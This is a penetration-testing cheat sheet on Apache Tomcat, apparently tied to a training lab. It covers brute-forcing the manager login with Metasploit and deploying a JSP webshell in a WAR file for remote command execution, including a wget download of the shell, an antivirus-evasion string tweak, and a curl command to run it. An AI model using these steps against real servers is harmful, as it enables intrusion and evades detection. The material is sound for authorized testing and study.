Tomcat

101

Apache Tomcat is an open-source Java servlet container that hosts Java-based web applications. It is primarily used internally within organizations rather than as a public-facing web server.

A typical folder structure of a Tomcat installation:

β”œβ”€β”€ bin # stores scripts and bins needed to start and run Tomcat
β”œβ”€β”€ conf # config files
β”‚   β”œβ”€β”€ catalina.policy
β”‚   β”œβ”€β”€ catalina.properties
β”‚   β”œβ”€β”€ context.xml
β”‚   β”œβ”€β”€ tomcat-users.xml # user creds and roles, IMPORTANT FILE!!!
β”‚   β”œβ”€β”€ tomcat-users.xsd
β”‚   └── web.xml
β”œβ”€β”€ lib # JAR files needed for proper functioning
β”œβ”€β”€ logs # temp log files
β”œβ”€β”€ temp # temp log files
β”œβ”€β”€ webapps # default webroot, hosts all apps
β”‚   β”œβ”€β”€ manager
β”‚   β”‚   β”œβ”€β”€ images
β”‚   β”‚   β”œβ”€β”€ META-INF
β”‚   β”‚   └── WEB-INF
|   |       └── web.xml
β”‚   └── ROOT
β”‚       └── WEB-INF
└── work # acts as a cache during runtime
    └── Catalina
        └── localhost

Footprinting

Tomcat servers can often be identified by the Server header in HTTP responses. If a reverse proxy is in place, accessing an invalid URL may still reveal Tomcat’s version:

Attacks

BFA

A Brute Force attack can be performed using MSF's tomcat_mgr_login module:

msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > show actions
msf auxiliary(tomcat_mgr_login) > set ACTION < action-name >
msf auxiliary(tomcat_mgr_login) > show options
msf auxiliary(tomcat_mgr_login) > run

RCE

A Web Application Archive (WAR) file is a convenient format used to deploy Java web applications on Tomcat quickly and to store backups of those applications. Tomcat’s GUI for managing deployments is located at /manager/html by default and is accessible only to users assigned the manager-gui role. Through this interface, an attacker with access can upload a malicious WAR file to compromise the server.

A JSP webshell can be packaged into a WAR file by simply zipping the webshell JSP file. Once uploaded via the manager interface, the WAR file is automatically extracted and deployed by Tomcat.

# Download a JSP webshell
$ wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
# Archive the webshell along with the WAR file
$ zip -r backup.war cmd.jsp 

  adding: cmd.jsp (deflated 81%)

A more stealthy version of the JSP web shell can also be used in order to minimize footprint (<1KB) and possibly evade detections for standard JSP web shells. The default web shell gets detected by 2/58 AVs and a simple change drops that number down to 0.

// Default line
FileOutputStream(f);stream.write(m);o="Uploaded:
// Modified line
FileOutputStream(f);stream.write(m);o="uPlOaDeD:

Accessing the uploaded shell through its URL (e.g., /backup/cmd.jsp) allows remote command execution on the server.

$ curl http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id

Note that simply browsing to /backup redirects to /backup/ and typically returns a 404 error, so the full path to the JSP shell must be specified.

Last updated

Was this helpful?